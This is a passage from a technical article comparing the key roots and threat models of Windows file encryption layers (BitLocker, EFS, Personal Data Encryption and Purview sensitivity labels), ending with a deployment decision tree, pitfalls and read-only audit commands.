Purview labels	Per-content CEK wrapped by tenant key	Azure Key Vault (Microsoft, BYOK, or DKE)	Use-license issuance by Azure RMS against Entra ID	Per-content envelope	Yes

Let us walk each root one at a time. The story changes at every row.

flowchart LR subgraph BitLocker BL_VMK[VMK] --> BL_TPM[TPM, sealed against PCRs] end subgraph EFS EFS_FEK[Per-file FEK] --> EFS_Priv[User EFS RSA private key] EFS_Priv --> EFS_DPAPI[classic DPAPI master key] EFS_DPAPI --> EFS_Logon[User logon secret] end subgraph PDE PDE_DEK[Per-file DEK] --> PDE_DPAPING[DPAPI-NG protector] PDE_DPAPING --> PDE_Hello[Windows Hello for Business credential] end subgraph Purview P_CEK[Per-content CEK] --> P_Tenant[Tenant root key] P_Tenant --> P_KV[Azure Key Vault, BYOK or DKE] P_License[Use license] --> P_Entra[Microsoft Entra ID authorization] end

Root 1 -- BitLocker, the TPM-sealed VMK

BitLocker terminates at the TPM. The VMK wraps the Full Volume Encryption Key; the TPM seals the VMK against the platform's PCR measurements; if the boot chain has not been tampered with, the TPM releases the VMK without any human input. That is the entire mechanism, and it is exactly why "BitLocker is on" leaves the gap the §1 vignette walks through. The threat BitLocker addresses is the powered-off device on a thief's workbench. It is mute against everything that happens after the OS has booted.

Root 2 -- EFS, the user EFS RSA private key sealed by classic DPAPI

EFS terminates at the user's logon credential. Microsoft Learn defines the EFS service surface as a public-key system for individual files [@ms-efs-win32]. Wikipedia walks the chain end to end: per-file FEK, RSA-wrapped to the user's EFS public key, private key sealed by classic DPAPI from the user's logon secret [@wikipedia-efs].

The threat EFS addresses is a different user on the same machine, after both have signed on at one point or another. It is mute against three other things: the user's own ransomware (which runs as the user and can decrypt every EFS file the user owns), password reset (which destroys the DPAPI derivation and locks the user out unless a DRA is configured), and cross-protocol copy (decrypted before SMB transit).

Root 3 -- PDE, a DPAPI-NG protector bound to a Windows Hello credential

PDE terminates at Windows Hello for Business. Microsoft Learn states the binding directly: "Personal Data Encryption is a security feature that provides file-based data encryption capabilities to Windows. It utilizes Windows Hello for Business to link data encryption keys with user credentials" [@ms-pde-overview]. The PDE FAQ confirms the unlock condition: "the keys used by Personal Data Encryption to encrypt content are protected by Windows Hello credentials and can only be unlocked when signing on with Windows Hello (PIN or biometrics)" [@ms-pde-faq].

The likely engineering mechanism is a DPAPI-NG protection descriptor. DPAPI-NG (Microsoft's "Next Generation" Data Protection API, in Windows 8 and later) is the only Windows API surface that publicly documents Hello-bound key release. Its protection-descriptor grammar accepts a small set of principal types, documented at Microsoft Learn: SID=, SDDL=, LOCAL=user, LOCAL=machine, WEBCREDENTIALS=, CERTIFICATE=HashID:sha1_hash_of_certificate, and CERTIFICATE=CertBlob:base64String [@ms-protection-descriptors]. Microsoft's own protection-descriptor reference adds: "The protection descriptor you specify automatically determines which key protection provider is used" [@ms-protection-descriptors].

The rule string passed to `NCryptCreateProtectionDescriptor` that names the principal or principals whose authentication will be required to unwrap a protected blob. The protection descriptor is the place in DPAPI-NG where "encrypted only for this Hello-bound principal" is expressed. Microsoft Learn documents the rule grammar (SID, SDDL, LOCAL, WEBCREDENTIALS, CERTIFICATE) and the use of `AND` and `OR` connectors to combine principals [@ms-protection-descriptors].

Microsoft has not published a mechanism document that says, in those words, "PDE uses NCryptProtectSecret with a protection descriptor naming the Windows Hello for Business credential." What Microsoft has published is the binding ("it utilizes Windows Hello for Business to link data encryption keys with user credentials") and the API surface ("DPAPI-NG, with Hello-aware protectors"). The two compose in exactly one way that fits the verified primaries. Treat the protection-descriptor binding as the likely engineering mechanism rather than the directly-stated one.The DPAPI-NG protection-descriptor grammar is broader than just Hello. The same API surface backs WinRT user-profile secrets, web-credentials-vault items, and certificate-protected blobs. PDE is one consumer; the API itself is general.

The arrows above are the cleanest single-page summary of PDE. From Microsoft Learn: the file body uses "AES-CBC with a 256-bit key" [@ms-pde-overview]. From the PDE FAQ: "the keys used by Personal Data Encryption to encrypt content are protected by Windows Hello credentials and can only be unlocked when signing on with Windows Hello (PIN or biometrics)" [@ms-pde-faq]. From the DPAPI-NG reference: the API surface includes NCryptCreateProtectionDescriptor, NCryptProtectSecret, and NCryptUnprotectSecret for exactly this purpose [@ms-dpapi-ng]. From the protection-descriptor reference: the rule grammar accepts principal types that include SID and LOCAL principals, which is where the Hello-bound binding lives [@ms-protection-descriptors].

Note: PDE uses AES-CBC, not an authenticated mode like AES-GCM. CBC is malleable: an attacker who can modify ciphertext on disk can flip predictable bits in plaintext. The argument that closes this gap is composition: PDE expects to run on top of BitLocker, whose modern default is XTS-AES [@wikipedia-bitlocker]. PDE's CBC mode by itself has no manipulation resistance; PDE composed with BitLocker inherits BitLocker's XTS-AES floor. This composition is intentional. Microsoft's own recommendation is to run PDE under BitLocker: "it's recommended to encrypt all volumes with BitLocker Drive Encryption for increased security" [@ms-pde-faq].

The threat PDE addresses is the laptop at the lock screen with a plaintext volume, in the user's own absence. PDE files are unreadable until the user re-authenticates to Hello, even though BitLocker has long since released the volume.

This is, importantly, the only place in the four-layer story where "DPAPI-NG is involved" is true. EFS uses classic DPAPI, not DPAPI-NG. Purview labels use Azure RMS, not DPAPI-NG. BitLocker uses neither. The folk-knowledge framing "DPAPI-NG under everything" collapses three different roots into one and obscures the actual architecture.

Root 4 -- Purview labels, the Azure RMS tenant key plus Entra ID authorization

Purview sensitivity labels (where the label applies encryption) terminate at the Azure Rights Management tenant key and at Microsoft Entra ID. Microsoft Learn states the engine: "Unless you're using S/MIME for Outlook, encryption that's applied by sensitivity labels to documents, emails, and meeting invites all use the Azure Rights Management service from Microsoft Purview Information Protection" [@ms-purview-labels].

The on-disk envelope contains the wrapped CEK and policy metadata, and the wrapped CEK can be re-issued to any authorised principal. When Bob in Contoso emails an "Internal" labelled DOCX to Alice in Fabrikam, Azure RMS issues Alice a use license against her Entra ID identity, provided that the document's policy admits her. The cross-organisation default is on by default [@ms-azure-rms].

The tenant root can vary. Microsoft Learn describes the topology: "The root key for your Azure Rights Management service can either be: Generated by Microsoft ... Generated by customers with Bring Your Own Key (BYOK)" [@ms-byok]. Above BYOK sits Double Key Encryption, which puts a customer-controlled key in series with the Azure-held key.

A two-key model on top of Purview's tenant root, in which decryption requires both an Azure-held key and an on-premises customer-held key. Microsoft Learn states the design: *"DKE lets you maintain control of your encryption keys. It uses two keys to protect data; one key in your control and a second key you store securely in Microsoft Azure. You maintain control of one of your keys using the Double Key Encryption service. Viewing data protected with Double Key Encryption requires access to both keys"* [@ms-dke]. The same page adds the operational consequence: *"DKE encrypted data isn't accessible at rest to Microsoft 365 services including Copilot"* [@ms-dke].

The threat Purview labels address is the file that leaves the organisation. A Purview-encrypted file emailed to a personal Gmail account, copied to a USB stick, uploaded to a third-party SaaS -- still encrypted, still requires a use license from Azure RMS against an authenticated identity, still subject to the policy the original author attached. BitLocker, EFS, and PDE all stop at the local volume or local user; Purview labels are the only one of the four that follows the file across machines, tenants, and protocols.

The asymmetry is the design

A single unifying root would have collapsed real distinctions. If everything terminated at the TPM, no protection could survive the file leaving the device. If everything terminated at the user's password, no per-content cross-tenant story would be possible. If everything terminated at Entra ID, the offline laptop at a lock screen would have no answer when the network is unreachable. The four-root architecture is what it is because the four threats are what they are.

Key idea: Three layers, three protection-key roots, three threat models. The asymmetry is the point: each root exists precisely because the threats are different. A single unified root would not be an improvement -- it would collapse real distinctions.

Now that you know the roots, you can ask the right questions about the state of the art: what does each layer ship today, and how do you compose them?

6. State of the Art: Each Layer in 2026

Each layer ships today, supported, documented, and deployed. Here is what each one actually looks like as of mid-2026.

EFS in 2026

EFS still ships in Windows 11 and Windows Server 2025. It is documented at the Win32 file-encryption reference [@ms-efs-win32]. It is deprecated for new development -- the recommended replacement for new per-file scenarios on Entra-joined Hello-using devices is PDE [@ms-pde-faq] -- but the implementation is intact, Group Policy still ships DRA configuration, and existing EFS-encrypted files continue to work.

What EFS does not work on:

ReFS before 24H2. Historically the $EFS attribute had no home on ReFS, so EFS-protected files were decrypted in transit when copied to a ReFS volume. Windows 11 24H2 and Windows Server 2025 added file-system-encryption support to ReFS [@wikipedia-efs], so the absolute "no home" framing is now out of date; on older ReFS, the cryptography still ends at the volume boundary.
FAT32 / exFAT on legacy Windows. Wikipedia notes that "Files and folders are decrypted before being copied to a volume formatted with another file system, like FAT32" [@wikipedia-efs]. Windows 10 1607 and Windows Server 2016 added EFS support on FAT and exFAT [@wikipedia-efs], which softens the absolute version of that statement; the cryptography still ends at SMB transit and at any destination the source EFS service does not recognise as compatible.
System files and root directories. Not encryptable; the chicken-and-egg problem of needing to read the user's profile before the user has authenticated.
Compressed files. EFS and NTFS file compression are mutually exclusive on the same file.

The default cipher inside the FEK has been AES since Windows XP SP1 [@wikipedia-efs]; the default key size moved from AES-128 to AES-256 in a later Windows 10 release. Operationally, the most common source of confusion is cipher.exe /K, which generates a fresh self-signed EFS certificate for the current user if one does not already exist; the certificate goes into the user's personal store, the private key into %APPDATA%\Microsoft\Crypto\RSA\<SID>\, and the EFS service in lsass.exe from then on prefers the new certificate for new wraps. Existing EFS files do not rewrap themselves.

The DRA story works cleanly only in classic AD-domain deployments where Group Policy can push a recovery-agent certificate to every machine and the EFS service knows to add the DRA wrapper at encryption time. In an Entra-joined-only environment, the AD-domain DRA story does not transplant cleanly; this is one of the seven live operational problems we will catalogue in §9.

PDE in 2026

Personal Data Encryption ships on Windows 11 22H2 and later, in Enterprise and Education SKUs [@ms-pde-overview]. As of Windows 11 24H2, the known-folder auto-encryption mode brings Desktop, Documents, and Pictures under PDE without requiring per-file API calls [@ms-pde-overview].

The prerequisites are strict, and they are spelled out on the PDE overview page: "The devices must be Microsoft Entra joined or Microsoft Entra hybrid joined. Domain-joined devices aren't supported" and "Automatic Restart Sign On (ARSO) must be disabled" [@ms-pde-overview]. The configure page emphasises the ARSO point: "Winlogon automatic restart sign-on (ARSO) isn't supported for use with Personal Data Encryption. To use Personal Data Encryption, ARSO must be disabled" [@ms-pde-configure].

PDE has two protection levels, defined by how long after sign-in the content remains decrypted in memory. The original announcement explains both:

"Level 1(L1) security protects contents during the early boot stage -- from the time that the machines boots, until the user logs in using Windows Hello for Business credentials. Level 2(L2) security protects data from the time the user's device locks till the device is unlocked using Windows Hello for Business credentials." [@ms-pde-announcement]

L1 is "protected from boot until first sign-in." L2 is "protected from lock until next unlock." L1 is the default; L2 is opt-in and stricter, because re-decrypting on every unlock is more disruptive to apps that hold open file handles.

The Configuration Service Provider node tree:

./User/Vendor/MSFT/PDE/EnablePersonalDataEncryption -- introduced in 22H2, build 10.0.22621 [@ms-pde-csp].
./User/Vendor/MSFT/PDE/ProtectFolders/ProtectDesktop -- introduced in 24H2, build 10.0.26100 [@ms-pde-csp].
./User/Vendor/MSFT/PDE/ProtectFolders/ProtectDocuments -- 24H2 [@ms-pde-csp].
./User/Vendor/MSFT/PDE/ProtectFolders/ProtectPictures -- 24H2 [@ms-pde-csp].

An earlier draft of this article's research wrote these paths without the ProtectFolders parent node, and so do several blog posts on the public web. The Microsoft Learn CSP reference is authoritative: the folder-protection nodes nest under ProtectFolders. Practitioners running CSP queries against the un-nested path will see them return no value.

For per-file application use, the WinRT API is Windows.Security.DataProtection.UserDataProtectionManager.ProtectStorageItemAsync [@ms-userdataprotectionmgr]. The class provides static methods to obtain an instance for the current or a provided user, and instance methods that include GetStorageItemProtectionInfoAsync, ProtectBufferAsync, ProtectStorageItemAsync, TryGetDefault, TryGetForUser, and UnprotectBufferAsync, along with the DataAvailabilityStateChanged event [@ms-userdataprotectionmgr].The UserDataProtectionManager API was introduced in Windows 10 1903 (build 10.0.18362), under Windows.Foundation.UniversalApiContract v8.0 -- predating the 22H2 ship of PDE itself by three years.

The gotchas list is long enough that the PDE FAQ enumerates each one:

Password sign-in fails. Hello-only release; a user who signs in with a password (e.g., via Ctrl-Alt-Del fallback after a Hello failure) cannot read PDE content.
RDP fails. Microsoft Learn states it explicitly: "No, it's not supported to access protected content over RDP" [@ms-pde-faq].
Other-user fails. Each user's PDE content is bound to their own Hello credential.
Mutually exclusive with EFS. PDE and EFS are mutually exclusive on the same file (see §3).
OneDrive sync sees plaintext. "Personal Data Encryption's encryption only applies to local data saved to the disk. Applications accessing the files, including OneDrive when it syncs data, get cleartext data" [@ms-pde-faq]. This is the price of "transparent decryption" for the calling user's processes.
Memory dumps can expose keys. "Kernel-mode crash dumps and live dumps can potentially cause the keys used by Personal Data Encryption to protect content to be exposed" / "Hibernation files can potentially cause the keys used by Personal Data Encryption to protect content to be exposed" [@ms-pde-configure].

Note: EFS has a Data Recovery Agent model. BitLocker has recovery-key escrow (to Microsoft account, to Active Directory, to Microsoft Entra ID, to a printout). Purview has tenant-key escrow plus a super-user role. PDE has none of these. The PDE FAQ is explicit: OneDrive is recommended as a "second copy", not as a key-recovery mechanism, and "Personal Data Encryption doesn't have a requirement for a backup provider, including OneDrive in Microsoft 365. However, backups are recommended in case the keys used by Personal Data Encryption to protect files are lost" [@ms-pde-faq]. Plan for this before deploying PDE at scale.

Microsoft Purview Information Protection in 2026

Purview's labelling and encryption story is the most operationally distinct of the four, because the encryption is enforced by a cloud service. Microsoft Learn enumerates the four guarantees the engine makes for a label-encrypted file:

"Can be decrypted only by users authorized by the label's encryption settings"
"Remains encrypted no matter where it resides, inside or outside your organization, even if the file's renamed"
"Is encrypted both at rest (for example, in a OneDrive account) and in transit (for example, email as it traverses the internet)"
Encryption is applied automatically by the chosen label settings [@ms-purview-labels].

Where the tenant root key sits is configurable:

Microsoft-managed by default. The root key is generated and held by Microsoft in Azure. This is the default for most tenants and the lowest-friction option.
BYOK. The customer generates the root key (typically in a Thales HSM or equivalent), uploads it to an Azure Key Vault under their control, and Azure RMS uses the customer's Azure-held key as the tenant root [@ms-byok].
DKE. Two keys, one held by Microsoft and one held on-premises by the customer, both required for decryption [@ms-dke]. The DKE path narrows what Microsoft can do for the customer in exchange for the strongest possible client-side root.

Microsoft Learn frames DKE as a high-end option: "Highly sensitive (about 5% of data)" is the documentation's own scoping language [@ms-dke]. The page makes the trade-off candid: "DKE encrypted data isn't accessible at rest to Microsoft 365 services including Copilot" [@ms-dke]. DKE is the "crown jewels" tier; using it for everything would blind every Microsoft 365 server-side service from search to Copilot to compliance.

Labels are applied to documents in three ways:

Manually, by users in Office desktop, Office on the web, or Outlook, via the Sensitivity menu.
Automatically, when a Purview auto-labelling policy matches a trainable classifier or content-inspection rule.
On the wire, via Exchange transport rules that label messages as they leave the organisation.

Once applied, the label's encryption settings (if any) determine which authorised principals can request a use license. Microsoft Learn states the cross-organisation default: "By default, collaboration with other organizations that already have a Microsoft 365 or a Microsoft Entra directory is automatically supported" [@ms-azure-rms]. The travels-with-file guarantee is enforced precisely because the file's wire format embeds the wrapped CEK and the policy reference: a recipient who has the file but cannot obtain a use license from Azure RMS holds ciphertext.

Those are the layers you compose. But the practitioner reasonably asks: what about everything else? What about WIP, macOS, Linux, third-party DRM?

7. Competing Approaches Within and Beyond Windows

Four within-Windows alternatives and three cross-platform alternatives the reader will ask about. Two of them are dead ends.

Group Policy plus NTFS ACLs

NTFS ACLs are not encryption. They are OS-enforced access control: the kernel checks the ACL before satisfying a ReadFile. Boot a different operating system that does not honour NTFS ACLs and the protection is gone. EFS exists because ACLs alone are not enough; nothing in this article displaces ACLs, but ACLs alone do not appear on any of the four roots above.

BitLocker To Go

BitLocker To Go is BitLocker for removable media -- USB sticks, external drives. It uses the same XTS-AES cipher and the same VMK/FVEK topology, with the recovery key delivered to Active Directory, Entra ID, a Microsoft account, or a printout depending on the policy [@wikipedia-bitlocker]. Treat it as the same Generation 2 root as BitLocker proper, restricted to removable storage.

Windows Information Protection -- the dead branch

Already named in §4. Microsoft Learn's /previous-versions/ page is the canonical citation for the deprecation [@ms-wip-deprecation]. The same page is candid about why WIP did not survive: "While Windows Information Protection can stop accidental data leaks from honest employees, it is not intended to stop malicious insiders from removing enterprise data" [@ms-wip-deprecation]. The honest-employees framing is the most precise statement of WIP's threat model -- and of its limit. The recommended replacement is the Microsoft Purview Information Protection plus Microsoft Purview Data Loss Prevention combination. Do not deploy WIP in 2026.

macOS FileVault 2

Apple Platform Security documents the cipher and the key location succinctly: "FileVault uses the AES-XTS data encryption algorithm to protect full volumes on internal and removable storage devices" and "All FileVault key handling occurs in the Secure Enclave; encryption keys are never directly exposed to the CPU" [@apple-filevault]. Architecturally, FileVault 2 is BitLocker's analogue: volume-level, hardware-rooted, automatic at boot. There is no per-file user-bound layer in macOS that maps cleanly to PDE or EFS. The cross-platform reader looking for a PDE analogue on macOS will not find one in the OS itself; the equivalent has to come from per-application sandboxing (the Data Vault APIs, the App Sandbox container) or from Purview labels applied via Office for Mac.

Linux LUKS and fscrypt

LUKS is volume-level full-disk encryption, analogous to BitLocker. fscrypt is per-directory file encryption on ext4, F2FS, UBIFS, and CephFS; the kernel documentation states the supported filesystems explicitly: "currently ext4, F2FS, UBIFS, and CephFS" [@fscrypt-kernel]. Architecturally, fscrypt is closer to PDE than to EFS: per-directory keying, key wrapping by a user-bound credential, designed so that different files can have different keys. The kernel docs also state the bound that matters most for our purposes: "Unlike dm-crypt, fscrypt operates at the filesystem level rather than at the block device level. This allows it to encrypt different files with different keys" [@fscrypt-kernel]. The Linux stack has had a PDE-shaped tool for years; what it does not have is Hello-equivalent identity infrastructure baked in.

Third-party DRM

Commercial information-rights-management products from various vendors occupy roughly the same architectural slot as Purview labels: per-content envelope encryption, policy enforced at the rendering application against an identity service. The trade-offs differ on tenant ownership, identity binding, and Office integration; the architectural shape is the same.

Those are the alternatives. None of them changes the fact that on Windows, the three above-BitLocker layers we have catalogued are the layers you actually pick from. So how far can those layers actually go? What is the theoretical ceiling?

8. Where Cryptography Ends and Trust Begins

Three bounds. Each is structural. Each tells you something about where cryptography unavoidably terminates.

Bound 1 -- At-rest encryption cannot protect plaintext in use

Every layer this article catalogues encrypts data at rest. None of them encrypts data while it is in use by the application that opened it. The plaintext must materialise in process address space for the application to read it; once it is there, the same operating system that handed the application the plaintext also exposes that address space to debuggers, to dump-on-crash, to memory-scrapers, to anything with PROCESS_VM_READ.

The Linux fscrypt kernel documentation states this property explicitly:

"After an encryption key has been added, fscrypt does not hide the plaintext file contents or filenames from other users on the same system. Instead, existing access control mechanisms such as file mode bits, POSIX ACLs, LSMs, or namespaces should be used for this purpose." [@fscrypt-kernel]

The same property holds for BitLocker, EFS, PDE, and Purview labels. Once unlocked, the bytes are bytes. The protection against "another process running as the same user" is the operating system's access-control layer, not the encryption.

Bound 2 -- Authorised-reader exfiltration is unbounded

A user who is authorised to view a file can do anything with the displayed pixels. They can screen-capture, photograph the screen with a phone, dictate the contents aloud, retype them into an unprotected document, paste them into Notepad. This is the "rendezvous problem", or in older folk vocabulary the "analog hole".Both "rendezvous problem" and "analog hole" are folk-knowledge terms used descriptively in industry; they are not citations to a named published conjecture, and we do not assert that any particular paper coined either. No cipher can prevent it, because the cipher's correctness requires that the authorised viewer can read the plaintext.

Microsoft itself is candid about where this leaves the RMS family of technologies. The Wikipedia AD RMS article quotes Microsoft's policy-enforcement framing:

the differentiation between different usage rights for authorized users is considered part of its policy enforcement capabilities, which Microsoft claims to be implemented as 'best effort', so it is not considered by Microsoft to be a security issue but a policy enforcement limitation. [@wikipedia-adrms]

The "do not print" rights bit on an RMS document is not cryptographically enforced. It is enforced by Microsoft Word, by Outlook, by the rendering applications that the use license names. A user who controls the rendering application can ignore the bit. The cipher protects against unauthorised readers; it cannot constrain authorised readers.

Bound 3 -- The key-binding root limits the protection ceiling

The third bound is the cleanest restatement of the article's thesis. No layer can be stronger than its root.

EFS. The root is the user's logon secret, via classic DPAPI. The Wikipedia EFS article states the ceiling: "In Windows 2000, XP or later, the user's RSA private key is encrypted using a hash of the user's NTLM password hash plus the user name ... any compromise of the user's password automatically leads to access to that data" [@wikipedia-efs]. EFS cannot be stronger than the user's password hygiene.
PDE. The root is Windows Hello for Business. PDE cannot be stronger than Hello's own ceiling: TPM-bound asymmetric keys plus user PIN or biometric, with all the assumptions about anti-hammering, TPM attestation, and ARSO-off that the PDE configure page enumerates [@ms-pde-configure].
Purview labels. The root is the Azure Rights Management tenant key, plus Microsoft Entra ID for authorization. The ceiling is Azure Key Vault custodial security plus Entra authorization correctness. DKE raises the ceiling by adding a customer-held key in series with the Azure-held key [@ms-dke], at the cost of blinding Microsoft 365 service-side processing of that content [@ms-dke].

None of the three roots is unconditionally stronger than the others. Each makes a trade-off that is sensible for the threat model it addresses. EFS optimises for "this exact user account, this exact machine, after both have signed on." PDE optimises for "this Hello-authenticated user, this exact device, even across boot-and-lock." Purview labels optimise for "this Entra-authenticated user, across organisations, across protocols, across time." There is no fourth option that is simply "stronger." There is only the choice of which root the data is bound to, made deliberately.

Key idea: Cryptography pushes the trust boundary up but cannot eliminate it. Every layer terminates at "the application has the plaintext and the application can do anything." What changes between layers is where that boundary sits, not whether it exists.

Capability	Theoretically impossible	Current best on Windows	Remaining gap
Per-process gating	No (with attestation, e.g., LSAIso)	Credential Guard / LSAIso for credentials; not extended to user files	No file-encryption layer gates at app identity
Authorised-reader exfiltration	Yes (analog hole)	RMS "best effort" policy enforcement [@wikipedia-adrms]	Cannot be closed by cipher; closed only by hardware DRM / endpoint controls
Pre-logon file protection	No	PDE L1 [@ms-pde-announcement]	Limited to known folders, Hello, Entra-join, 24H2+
Cross-tenant per-content protection	No	Purview labels via Azure RMS [@ms-purview-labels]	Cross-tenant policy and revocation are per-tenant

Those are the structural limits. The operational limits -- the things Microsoft has not yet shipped a fix for -- are different. Let's look at those next.

9. Open Problems Microsoft Has Not Yet Shipped

Seven live operational problems. None of them is academic. Each is a question your CISO is asking, and none of them has a Microsoft-shipped answer as of May 2026.

1. PDE has no DRA-equivalent

EFS has a Data Recovery Agent. BitLocker has recovery-key escrow to Active Directory, Entra ID, a Microsoft account, or a printout. Purview has tenant-key escrow and a super-user role. PDE has none of these. The PDE FAQ does not equivocate: "Personal Data Encryption doesn't have a requirement for a backup provider, including OneDrive in Microsoft 365. However, backups are recommended in case the keys used by Personal Data Encryption to protect files are lost" [@ms-pde-faq]. "Backups" here means a second copy of the plaintext, made before the keys were lost; it is not key recovery. A user whose Hello credential is irrecoverably reset, and who had no second copy at the time, has unreadable files.

2. EFS in an Entra-only world

The DRA story works because Group Policy in a classic Active Directory deployment can push a recovery-agent certificate to every machine. In an Entra-joined-only environment, there is no equivalent shipped configuration. The EFS Win32 reference still documents EFS [@ms-efs-win32]; what it does not document is "how to maintain an organisational EFS DRA on a fleet of Entra-joined-only devices in 2026." The migration path -- whether the answer is "stop using EFS for new files and move to PDE" (which the PDE FAQ implies [@ms-pde-faq]) or "configure DRA via Intune" (which is not a documented Intune-shipped flow) -- is not in Microsoft Learn.

3. Cross-tenant sensitivity-label collaboration

Cross-organisation sharing of Purview-encrypted content works for documents emailed or shared with a recipient whose tenant is configured to accept the policy [@ms-azure-rms]. Cross-organisation revocation is harder. A use license issued to an external recipient is bound to the issuing tenant's RMS service; revoking the recipient's access requires the issuing tenant to act, not the recipient's. Cross-tenant collaboration policies need explicit configuration, and revocation is per-tenant, not per-policy [@ms-purview-labels]. CISOs running federation-heavy programmes ask about this every week; the answer is "configure explicitly, audit explicitly, accept that the recipient tenant has its own controls."

4. PDE composition with Windows Recall

Windows Recall (the AI-driven on-device timeline of screenshots and OCR text, shipping under Copilot+ PC programmes) introduces a new question for PDE: when Recall captures a screenshot of a PDE-protected document open on screen, does the resulting Recall snapshot inherit PDE protection, or is it merely VBS-enclave-protected? Microsoft's Recall documentation describes the VBS-enclave protection model and a separate set of opt-outs for "sensitive content"; what is not documented is whether a Recall snapshot of a PDE-protected file is itself a PDE-protected file. This is a live design question.

5. DPAPI-NG protector revocation at Hello rotation

If a user enrols a new device into Entra ID, the Hello credential on that new device is a different credential -- a fresh asymmetric key in the new device's TPM, attested at a fresh enrolment event. PDE files encrypted under the old device's Hello protector cannot be unwrapped on the new device, unless a recovery mechanism re-issues the wrap. There is no shipped recovery mechanism (see problem 1 above), so the question is operational: what does the user do with PDE files synced via OneDrive -- which sees plaintext, per the PDE FAQ [@ms-pde-faq] -- when they move to a new device? The answer is "OneDrive re-encrypts them under the new device's Hello on first access, because OneDrive saw plaintext." That works, and it tells you something about how thin PDE's "encryption that travels" story is.

6. Per-process cryptographic gating

None of the four layers gates at the application identity. EFS, PDE, Purview labels all release plaintext to any process running as the authorised user (or any process holding a valid use license, in Purview's case). The CISO question that has no answer in the file-encryption stack today is "can I keep ransomware running as Alice from encrypting Alice's labelled files?" Credential Guard and LSAIso show that per-process gating with attestation is technically feasible for credentials; nothing in the file-encryption layers extends that mechanism to user files. This is the single most asked open question in the working-architect audience.

7. Cipher-mode modernisation

PDE's choice of AES-CBC is deliberate, but it is also old. AEAD modes -- GCM, OCB3, ChaCha20-Poly1305 -- bundle integrity and confidentiality together; CBC does not. PDE composed with BitLocker XTS-AES is acceptable in practice [@wikipedia-bitlocker], but the PDE layer in isolation has no integrity guarantee. Whether Microsoft will modernise the PDE cipher in a future Windows release (and what the file-format compatibility story would look like if they did) is unanswered as of May 2026.

Those are the open problems. The article's last sections turn from research into action: how does a working architect actually use these layers?

10. Composing the Layers: A Practical Guide

A decision tree. Then the common implementation pitfalls. Then an audit checklist for the layered architecture you should be aiming for.

The decision tree

flowchart TD H[NTFS on hardware] BL[BitLocker XTS-AES, TPM+PIN protector] PDE_KF[PDE known folders: Desktop, Documents, Pictures] EFS_Legacy[EFS legacy files only, no new EFS] Purview[Purview sensitivity labels with encryption] Apps[Office, Outlook, OneDrive sync clients] H --> BL BL --> PDE_KF BL --> EFS_Legacy PDE_KF --> Apps EFS_Legacy --> Apps Purview --> Apps

The decision tree, walked once:

Need to protect the volume at rest, against a powered-off-device thief? BitLocker. Configure TPM+PIN protector to close the post-boot pre-logon gap at the boot layer where you can.
Need to protect per-user on a shared device, including the post-boot pre-logon window? PDE, on Windows 11 22H2 or later, with Entra-join, Hello, ARSO disabled. For Windows 11 24H2, prefer the known-folder mode (Desktop, Documents, Pictures auto-encrypted).
Have legacy $EFS files inherited from a previous Windows generation? Leave EFS for those legacy files; do not encrypt new files with EFS on devices that can run PDE. Choose PDE or EFS per file, not both (mutual exclusion; §3).
Need protection that travels with the file across machines, tenants, and protocols? Purview sensitivity labels with encryption settings. Use Microsoft-managed tenant keys by default; BYOK for tenants that need customer-controlled keys; DKE for the ~5% of crown-jewel content where Microsoft 365 service-side processing must be blinded [@ms-dke].
All of the above, on the same file, on a modern Entra-joined Windows 11 24H2 Enterprise device? Yes. BitLocker + PDE-known-folders + Purview label is the modern default. EFS is the legacy slot.

Note: For most Entra-joined Windows 11 24H2 deployments: BitLocker (TPM+PIN) under PDE (known-folder mode) under Purview sensitivity labels. EFS legacy only. The three above-BitLocker layers compose; the four roots stay distinct; the threat coverage adds up. Nothing in this composition needs DKE -- save DKE for the ~5% of content where Copilot blinding is desired.

Common implementation pitfalls

Seven pitfalls, in order from "easy to miss" to "easy to misdiagnose."

Forgetting to disable ARSO before enabling PDE. Microsoft Learn states the constraint twice: "Automatic Restart Sign On (ARSO) must be disabled" [@ms-pde-overview] and "To use Personal Data Encryption, ARSO must be disabled" [@ms-pde-configure]. Enabling EnablePersonalDataEncryption=1 while ARSO is still on does not produce a clean error.
Expecting EnablePersonalDataEncryption=1 to migrate existing files. It does not. The CSP value enables the API surface (and, on 24H2, the known-folder protection). Files that existed before PDE was enabled are not automatically wrapped. Plan a separate migration pass.
Letting kernel-mode crash dumps or hibernation expose PDE keys. Microsoft's PDE configure page is explicit: "Kernel-mode crash dumps and live dumps can potentially cause the keys used by Personal Data Encryption to protect content to be exposed" and "Hibernation files can potentially cause the keys used by Personal Data Encryption to protect content to be exposed" [@ms-pde-configure]. Configure dump policy alongside PDE; do not deploy PDE on devices that produce kernel-mode dumps to untrusted destinations.
Assuming OneDrive sync preserves PDE protection in the cloud. It does not. The PDE FAQ states it plainly: "Personal Data Encryption's encryption only applies to local data saved to the disk. Applications accessing the files, including OneDrive when it syncs data, get cleartext data" [@ms-pde-faq]. Cloud-side protection is the labelling layer's job, not PDE's.
Deploying DKE everywhere. DKE breaks Microsoft 365 server-side service integration -- search, eDiscovery, transport rules, Copilot -- because Microsoft cannot decrypt content at rest. Microsoft Learn says it: "DKE encrypted data isn't accessible at rest to Microsoft 365 services including Copilot" [@ms-dke]. DKE is for the ~5% of content explicitly scoped that way; deploying it more broadly produces a tenant where every server-side feature degrades.
Trying to use PDE over RDP. "No, it's not supported to access protected content over RDP" [@ms-pde-faq]. PDE binds to local Hello sign-in; a remote desktop session is not that.
Treating EFS as a current-generation solution on new devices. The Microsoft replacement for new per-file scenarios is PDE [@ms-pde-faq]. Leaving EFS in place for legacy files is fine; encrypting new files with EFS on a device that could run PDE is not the recommended path.

Audit checklist

Five commands and CSP queries that establish where each layer actually stands on a given device.

BitLocker. Run manage-bde -status (PowerShell, elevated). Look at the protection status, encryption method (XTS-AES 128 or 256), and key protectors. A TPM+PIN protector closes the pre-logon gap at the volume layer.
EFS. Run cipher.exe /C <file> to inspect the EFS attribute on a given file -- it prints the user SIDs and DRA SIDs that hold wrappers. Run cipher.exe /U /N to enumerate every encrypted file on the volume without changing anything. The output tells you whether legacy EFS state actually exists.
PDE -- top-level enablement. Query the CSP node ./User/Vendor/MSFT/PDE/EnablePersonalDataEncryption. A value of 1 means the PDE API surface is on; 0 (or absent) means it is off [@ms-pde-csp].
PDE -- known folders. Query ./User/Vendor/MSFT/PDE/ProtectFolders/ProtectDesktop, ./User/Vendor/MSFT/PDE/ProtectFolders/ProtectDocuments, ./User/Vendor/MSFT/PDE/ProtectFolders/ProtectPictures. Note the ProtectFolders parent node; the un-nested form will return nothing [@ms-pde-csp].
